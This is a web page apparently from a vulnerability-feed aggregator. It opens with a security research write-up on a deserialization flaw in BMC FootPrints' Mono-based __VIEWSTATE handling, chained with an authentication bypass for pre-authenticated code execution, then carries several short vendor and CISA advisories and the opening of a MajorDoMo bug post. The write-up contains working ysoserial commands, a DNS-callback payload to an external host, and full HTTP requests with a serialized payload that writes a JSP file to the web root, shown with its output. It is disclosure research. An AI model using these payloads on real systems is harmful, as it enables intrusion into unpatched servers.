> Mono is an open-source implementation of Microsoft’s .NET Framework that runs across multiple platforms (Linux, macOS, Windows, BSD, etc.). It allows you to build and run applications written in C#, F#, and other .NET languages outside of Windows. Mono includes a C# compiler and a Common Language Runtime (CLR) that mimics Microsoft’s .NET runtime.

That would also make sense given the presence of .aspx files in the filesystem.

And, of course, __VIEWSTATE is no stranger to deserialization research in the .NET world - especially when the keys used to protect its value are known. The more interesting question here is how that behaviour translates when the implementation is Mono-based, but the underlying application logic is still rooted in Java.

When testing for deserialization, it’s important that we begin with an object that relies on classes already present on the target’s classpath. That can vary from product to product, but one gadget chain that is almost always worth reaching for first is URLDNS.

URLDNS triggers a DNS lookup to attacker-controlled infrastructure, making it an ideal low-impact way to confirm that deserialization is taking place without immediately reaching for full code execution.

You can generate a payload for this using the following ysoserial command:

Java -jar ysoserial.jar URLDNS "https://{{external-url}}"| base64

When we first tried supplying the object via a GET request, we immediately ran into a few observations:

The mere presence of the __VIEWSTATE parameter triggered a 302 response, redirecting us to an error page.
The object was not deserialized, and no DNS query was observed hitting our infrastructure.
Switching to POST didn’t help either - regardless of request structure, the server consistently responded with 403 Forbidden.

Let’s try..

GET /footprints/servicedesk/aspnetconfig/CreateUser.aspx?__VIEWSTATE=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDR0eTkxaXByZTZqbG51bHdoZm1ueW4xOW0wc3VnazQ5Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly80dHk5MWlwcmU2amxudWx3aGZtbnluMTltMHN1Z2s0OS5vYXN0aWZ5LmNvbXg= HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=E014BB23BFB56540DC2FDFE9C0EB3778; Path=/footprints/servicedesk; HttpOnly
Location: /footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Length: 226
Date: Wed, 03 Sep 2025 02:46:55 GMT
Keep-Alive: timeout=20
Connection: keep-alive

&lt;html&gt;&lt;head&gt;&lt;title&gt;Object moved&lt;/title&gt;&lt;/head&gt;&lt;body&gt;
<h2>Object moved to <a href="/footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx">here</a></h2>
&lt;/body&gt;&lt;html&gt;

Sigh……

Debug For Glory!

Undeterred by the lack of deserialization/our own skill issues, we turned to code - and our trusty debugger - for answers.

Focusing on Mainsoft/Web/Hosting/BaseFacesStateManager.class, we quickly located the point where the __VIEWSTATE request parameter is handled.

    protected final Object GetStateFromClient(FacesContext facesContext, String viewId, String renderKitId) {
        Object map = null;
        Object s1 = null;
        Object buffer = null;
        InputStream bytearrayinputstream = null;
        ObjectInputStream inputStream = null;
        Object state = null;
        map = facesContext.getExternalContext().getRequestParameterMap();
        s1 = StringStaticWrapper.StringCastClass(map.get(VIEWSTATE)); &lt;---- [0]
        buffer = Convert.FromBase64String((String)s1); &lt;---- [1]
        bytearrayinputstream = access$200(TypeUtils.ToSByteArray(buffer)); &lt;---- [2]
        inputStream = access$300(bytearrayinputstream); 
        state = inputStream.readObject(); &lt;---- [3]
        inputStream.close();
        bytearrayinputstream.close();
        return state;
    }

This function is a textbook example of how deserialization is taking place:

[0] - The request parameter map retrieves the __VIEWSTATE value and assigns it to s1
[1] - That value is then decoded from Base64 into a buffer
[2] - The buffer is read into a byte array
[3] - The byte array is passed into readObject(), where deserialization occurs

Unfortunately, for reasons not yet obvious, the request still fails - because s1 is never actually populated.

As shown below, the __VIEWSTATE parameter resolves to null :

Digging further into how request parameters are parsed, we followed execution into getRequestParameterMap():

public Map getRequestParameterMap() {
    Map CS$0$0000 = null;
    Object var10000 = this._requestParameterMap;
    if (this._requestParameterMap == null) {
        BaseExternalContext.RequestParameterMap var2;
        this._requestParameterMap = var2 = access$000(this.get_Context().get_Request().get_Form());
        var10000 = var2;
    }

    return (Map)var10000;
}

And finally into get_Form(), where we can see that request variables are only processed when one of two content types is present at [0] and [1]:

public final NameValueCollection get_Form() {
    if (this.form == null) {
        this.form = new WebROCollection();
        this.files = new HttpFileCollection();
        if (this.IsContentType("multipart/form-data", true)) {  &lt;---- [0]
            this.LoadMultiPart();
        } else if (this.IsContentType("application/x-www-form-urlencoded", true)) {  &lt;---- [1]
            this.LoadWwwForm();
        }

        this.form.Protect();
    }

Now, we’d be lying if we said we figured this part out from the code first, rather than by button-mashing our super-finisher until we managed to get a value into the s1 parameter.

That said, we ultimately identified two ways to achieve our goal.

The first is by sending the request with a Content-Type header of multipart/form-data - (ahem ahem something we actually discovered while writing this blog post ahem ahem):

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 600

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALHk2NTNlYzJscjB3ZjBveXF1OXpoYmhlM3p1NXB0Zmg0Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly95NjUzZWMybHIwd2Ywb3lxdTl6aGJoZTN6dTVwdGZoNC5vYXN0aWZ5LmNvbXg=
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

Our initial discovery - albeit through a bit of button-bashing - showed that it was possible to deliver the value by:

Sending a GET request
Including a dummy __VIEWSTATE parameter in the query string
Supplying the real __VIEWSTATE value in the request body
Using a Content-Type of application/x-www-form-urlencoded

GET /footprints/servicedesk/aspnetconfig/?__VIEWSTATE=watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; 
Content-Type: application/x-www-form-urlencoded
Content-Length: 1380

__VIEWSTATE=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%48%6b%32%4e%54%4e%6c%59%7a%4a%73%63%6a%42%33%5a%6a%42%76%65%58%46%31%4f%58%70%6f%59%6d%68%6c%4d%33%70%31%4e%58%42%30%5a%6d%67%30%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%56%6f%64%48%52%77%63%33%42%34%64%41%41%30%61%48%52%30%63%48%4d%36%4c%79%39%35%4e%6a%55%7a%5a%57%4d%79%62%48%49%77%64%32%59%77%62%33%6c%78%64%54%6c%36%61%47%4a%6f%5a%54%4e%36%64%54%56%77%64%47%5a%6f%4e%43%35%76%59%58%4e%30%61%57%5a%35%4c%6d%4e%76%62%58%67%3d

As shown below, our injected __VIEWSTATE value is successfully assigned to s1 - which is then ultimately passed into the deserialization flow:

The URLDNS gadget chain fired successfully, sending a DNS lookup to our listening infrastructure - now, time for a gadget chain to achieve RCE (and get dinner?).

Before diving into custom gadget development and disappearing into the class-tracing trenches, it’s always worth checking what the community has already done for you. ysoserial maintains a curated set of known gadget chains, and it’s the natural first stop.

Unfortunately, the usual suspects - such as the Apache Commons-based chains - weren’t viable here, as the target codebase doesn’t rely on the expected libraries in the right way.

That said, we got lucky.

The application includes aspectjweaver-1.9.2 and commons-collections:3.2.2, which line up perfectly for the well-known arbitrary file write gadget chain AspectJWeaver, originally authored by the legendary Jang.

To generate a working payload, the following ysoserial command can be used:

java -jar ysoserial.jar AspectJWeaver "filename.jsp;BASE64TEXT" | base64

It’s important to note that the filename can contain path traversal sequences and arbitrary directory separators.

With that in mind, we craft a harmless payload that writes a .jsp script into the FootPrints web root which, when executed, enumerates the system’s current user and working directory:

java -jar ysoserial.jar AspectJWeaver "webapps/ROOT/watchTowr.jsp;PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT4KPCUKICAgIFN0cmluZyBvc1VzZXIgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIubmFtZSIpOwogICAgU3RyaW5nIGN3ZCA9IFN5c3RlbS5nZXRQcm9wZXJ0eSgidXNlci5kaXIiKTsKJT4KPCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT53YXRjaFRvd3IgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgo=" | base64

Your Favorite Band Is Back Together

For those following along at home, the grand finale is now hopefully obvious.

By chaining the Authentication Bypass (CVE-2025-71257) and this Deserialization of Untrusted Data (CVE-2025-71260), we can achieve Arbitrary File Write - and, ultimately, Pre-Authenticated Remote Code Execution.

Let’s play it out..

CVE-2025-71257 - Authentication Bypass (Extract the “SEC_TOKEN” cookie)

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}

CVE-2025-71260 - Deserialize to Arbitrary File Write (Using the “SEC_TOKEN” cookie from the first request)

POST /footprints/servicedesk/aspnetconfig/ HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=TF06JG8cShIK0q3yJe+o_KDf2fDpnt2JU6c7Tfhr&amp;zWoA1itiu; 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Length: 1624

------WebKitFormBoundarywwyEWsOTbKQLLJ1P
Content-Disposition: form-data; name="__VIEWSTATE"

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4
------WebKitFormBoundarywwyEWsOTbKQLLJ1P--

And voila - our friendly watchTowr.jsp is written to the file system:

GET /watchTowr.jsp HTTP/1.1
Host: {{Hostname}}

HTTP/1.1 200 
Set-Cookie: JSESSIONID=F3BCBF9067A19B61E3AFD0B1ADA18D1D; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 300
Date: Wed, 03 Sep 2025 03:45:58 GMT


&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;watchTowr System Info&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    <h1>System Information</h1>
    <p><strong>OS User:</strong> LOCAL SERVICE$</p>
    <p><strong>Current Working Directory:</strong> C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0</p>
&lt;/body&gt;
&lt;/html&gt;

Detection Artifact Generator

That’s right. It’s time for yet another watchTowr Detection Artifact Generator tool!

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO

Vulnerabilities Resolved in Veeam Backup & Replication 12.3.2.4465

2026-03-13T11:02:43 by Alexandre Dulaunoy

JSON

KB4830: Vulnerabilities Resolved in Veeam Backup & Replication 12.3.2.4465

Veeam Software Security Commitment

Veeam® is committed to ensuring its products protect customers from potential risks. As part of that commitment, we operate a Vulnerability Disclosure Program (VDP) for all Veeam products and perform extensive internal code audits. When a vulnerability is identified, our team promptly develops a patch to address and mitigate the risk. In line with our dedication to transparency, we publicly disclose the vulnerability and provide detailed mitigation information. This approach ensures that all potentially affected customers can quickly implement the necessary measures to safeguard their systems. It’s important to note that once a vulnerability and its associated patch are disclosed, attackers will likely attempt to reverse-engineer the patch to exploit unpatched deployments of Veeam software. This reality underscores the critical importance of ensuring that all customers use the latest versions of our software and install all updates and patches without delay.

Issue Details

All vulnerabilities disclosed in this article affect Veeam Backup & Replication 12.3.2.4165 and all earlier version 12 builds.

CVE-2026-21666

A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported by HackerOne.

CVE-2026-21667

A vulnerability allowing an authenticated domain user to perform remote code execution (RCE) on the Backup Server.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Discovered during internal testing.

CVE-2026-21668

A vulnerability allowing an authenticated domain user to bypass restrictions and manipulate arbitrary files on a Backup Repository.

Severity: High
CVSS v3.1 Score: 8.8CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Source: Discovered during internal testing.

CVE-2026-21672

A vulnerability allowing local privilege escalation on Windows-based Veeam Backup & Replication servers.

Severity: High
CVSS v3.1 Score: 8.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Source: Reported through HackerOne.

CVE-2026-21708

A vulnerability allowing a Backup Viewer to perform remote code execution (RCE) as the postgres user.

Severity: Critical
CVSS v3.1 Score: 9.9CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Source: Discovered during internal testing.

Other Resolved Security-related Issues

Veeam Agent for Linux — Updated the port range that the software will open in the machine's firewall to align with other Veeam products. Veeam Agent for Linux will now open ports 2500-3300.

Solution

If this KB article did not resolve your issue or you need further assistance with Veeam software, please create a Veeam Support Case.

To submit feedback regarding this article, please click this link: Send Article Feedback
To report a typo on this page, highlight the typo with your mouse and press CTRL + Enter.

Lantronix EDS3000PS and EDS5000

2026-03-11T11:00:58 by Alexandre Dulaunoy

JSON

Lantronix EDS3000PS and EDS5000 | CISA

View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an attacker to bypass authentication and execute code with root-level privileges.

The following versions of Lantronix EDS3000PS and EDS5000 are affected:

EDS3000PS 3.1.0.0R2 (CVE-2025-67039, CVE-2025-70082, CVE-2025-67041)
EDS5000 2.1.0.0R3 (CVE-2025-67034, CVE-2025-67035, CVE-2025-67036, CVE-2025-67037, CVE-2025-67038)
CVSS: v3 9.8
Vendor: Lantronix
Equipment: Lantronix EDS3000PS and EDS5000
Vulnerabilities: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), Authentication Bypass Using an Alternate Path or Channel, Unverified Password Change

Background

Critical Infrastructure Sectors: Communications, Information Technology, Critical Manufacturing
Countries/Areas Deployed: Worldwide
Company Headquarters Location: United States

Vulnerabilities

Expand All +

CVE-2025-67035

An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The SSH Client and SSH Server pages are affected by multiple OS injection vulnerabilities due to missing sanitization of input parameters. An attacker can inject arbitrary commands in delete actions of various objects, such as server keys, users, and known hosts. Commands are executed with root privileges.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS5000: 2.1.0.0R3

Product Status:
known_affected

Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Metrics

CVE-2025-67038

An issue was discovered in Lantronix EDS5000 2.1.0.0R3. The HTTP RPC module executes a shell command to write logs when user's authentication fails. The username is directly concatenated with the command without any sanitization. This allow attackers to inject arbitrary OS commands into the username parameter. Injected commands are executed with root privileges.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS5000: 2.1.0.0R3

Product Status:
known_affected

Relevant CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Metrics

CVE-2025-67039

An issue was discovered in Lantronix EDS3000PS 3.1.0.0R2. The authentication on management pages can be bypassed by appending a specific suffix to the URL and by sending an Authorization header that uses "admin" as the username.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS3000PS: 3.1.0.0R2

Product Status:
known_affected

Relevant CWE: CWE-288 Authentication Bypass Using an Alternate Path or Channel

Metrics

CVE-2025-70082

The administrator password can be changed without knowledge of the current password. When chained with an authentication bypass vulnerability, this issue may allow unauthenticated attackers to modify the administrator password.

View CVE Details

Affected Products

Lantronix EDS3000PS and EDS5000

Vendor:
Lantronix

Product Version:
Lantronix EDS3000PS: 3.1.0.0R2

Product Status:
known_affected

Relevant CWE: CWE-620 Unverified Password Change

Metrics

Acknowledgments

Francesco La Spina and Stanislav Dashevskyi of Forescout Technologies reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

Initial Release Date: 2026-03-10

Date	Revision	Summary
2026-03-10	1	Initial Publication

Legal Notice and Terms of Use

Cisco Catalyst SD-WAN Vulnerabilities

2026-02-25T16:34:22 by Alexandre Dulaunoy

JSON

Cisco Catalyst SD-WAN Vulnerabilities

These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit another vulnerability.

Details about the vulnerabilities are as follows:

CVE-2026-20129: Cisco Catalyst SD-WAN Manager Authentication Bypass Vulnerability

A vulnerability in the API user authentication of Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to gain access to an affected system as a user who has the netadmin role.

The vulnerability is due to improper authentication for requests that are sent to the API. An attacker could exploit this vulnerability by sending a crafted request to the API of an affected system. A successful exploit could allow the attacker to execute commands with the privileges of the netadmin role.

Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33587
CVE ID: CVE-2026-20129
Security Impact Rating (SIR): Critical
CVSS Base Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2026-20126: Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability

A vulnerability in Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker with low privileges to gain root privileges on the underlying operating system.

This vulnerability is due to an insufficient user authentication mechanism in the REST API. An attacker could exploit this vulnerability by sending a request to the REST API of the affected system. A successful exploit could allow the attacker to gain root privileges on the underlying operating system.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws93470
CVE ID: CVE-2026-20126
Security Impact Rating (SIR): High
CVSS Base Score: 7.8
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE-2026-20133: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

A vulnerability in Cisco Catalyst SD-WAN Manager could allow an unauthenticated, remote attacker to view sensitive information on an affected system.

This vulnerability is due to insufficient file system access restrictions. An attacker could exploit this vulnerability by accessing the API of an affected system. A successful exploit could allow the attacker to read sensitive information on the underlying operating system.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33583
CVE ID: CVE-2026-20133
Security Impact Rating (SIR): High
CVSS Base Score: 7.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE-2026-20122: Cisco Catalyst SD-WAN Manager Arbitrary File Overwrite Vulnerability

A vulnerability in the API of Cisco Catalyst SD-WAN Manager could allow an authenticated, remote attacker to overwrite arbitrary files on the local file system. To exploit this vulnerability, the attacker must have valid read-only credentials with API access on the affected system.

This vulnerability is due to improper file handling on the API interface of an affected system. An attacker could exploit this vulnerability by uploading a malicious file on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on the affected system and gain vmanage user privileges.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33584, CSCws33586
CVE ID: CVE-2026-20122
Security Impact Rating (SIR): High
CVSS Base Score: 7.1
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

CVE-2026-20128: Cisco Catalyst SD-WAN Manager Information Disclosure Vulnerability

A vulnerability in the Data Collection Agent (DCA) feature of Cisco Catalyst SD-WAN Manager could allow an authenticated, local attacker to gain DCA user privileges on an affected system. To exploit this vulnerability, the attacker must have valid vmanage credentials on the affected system.

This vulnerability is due to the presence of a credential file for the DCA user on an affected system. An attacker could exploit this vulnerability by accessing the filesystem as a low-privileged user and reading the file that contains the DCA password from that affected system. A successful exploit could allow the attacker to access another affected system and gain DCA user privileges.

Note: Cisco Catalyst SD-WAN Manager releases 20.18 and later are not affected by this vulnerability.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability.

Bug ID(s): CSCws33585
CVE ID: CVE-2026-20128
Security Impact Rating (SIR): Medium
CVSS Base Score: 5.5
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

IceWarp14 X-File-Operation Command Injection Remote Code Execution Vulnerability

2026-02-23T07:15:42 by Alexandre Dulaunoy

JSON

ZDI-25-1072 | Zero Day Initiative

December 10th, 2025

IceWarp14 X-File-Operation Command Injection Remote Code Execution Vulnerability

ZDI-25-1072

ZDI-CAN-27394

CVE ID: CVSS SCORE
CVE-2025-14500 : 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID: AFFECTED VENDORS
CVE-2025-14500 : IceWarp
CVE ID: AFFECTED PRODUCTS
CVE-2025-14500 : IceWarp
CVE ID: VULNERABILITY DETAILS
CVE-2025-14500 : This vulnerability allows remote attackers to execute arbitrary code on affected installations of IceWarp. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the X-File-Operation header. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
CVE ID: ADDITIONAL DETAILS
CVE-2025-14500 : IceWarp has issued an update to correct this vulnerability. More details can be found at: https://support.icewarp.com/hc/en-us/community/posts/40040980098705-EPOS-Update-2-build-9-14-2-0-9
CVE ID: DISCLOSURE TIMELINE
CVE-2025-14500 : 2025-09-26 - Vulnerability reported to vendor 2025-12-10 - Coordinated public release of advisory 2025-12-10 - Advisory Updated
CVE ID: CREDIT
CVE-2025-14500 : Oscar Bataille

BACK TO ADVISORIES

Related vulnerabilities: CVE-2025-14500

MajorDoMo Revisited: What I Missed in 2023

2026-02-19T10:21:03 by Alexandre Dulaunoy

JSON

MajorDoMo Revisited: What I Missed in 2023 - Chocapikk's Cybersecurity Blog

Context

In late 2023, I published CVE-2023-50917 - an unauthenticated RCE in MajorDoMo’s thumb module. It was my first CVE. I was proud of it, moved on, never looked back.

In February 2026, I pointed AI agents at the same codebase. Within minutes they flagged code paths I had walked right past. Eight bugs, all in the default install, all missed for over two years.

CVE-2026-27174: Console Eval RCE (Critical)

The admin panel has a PHP console - an intentional feature for authorized admins. The problem is an include order bug in modules/panel.class.php:

// panel.class.php:124-127 - redirect for unauth users... but no exit
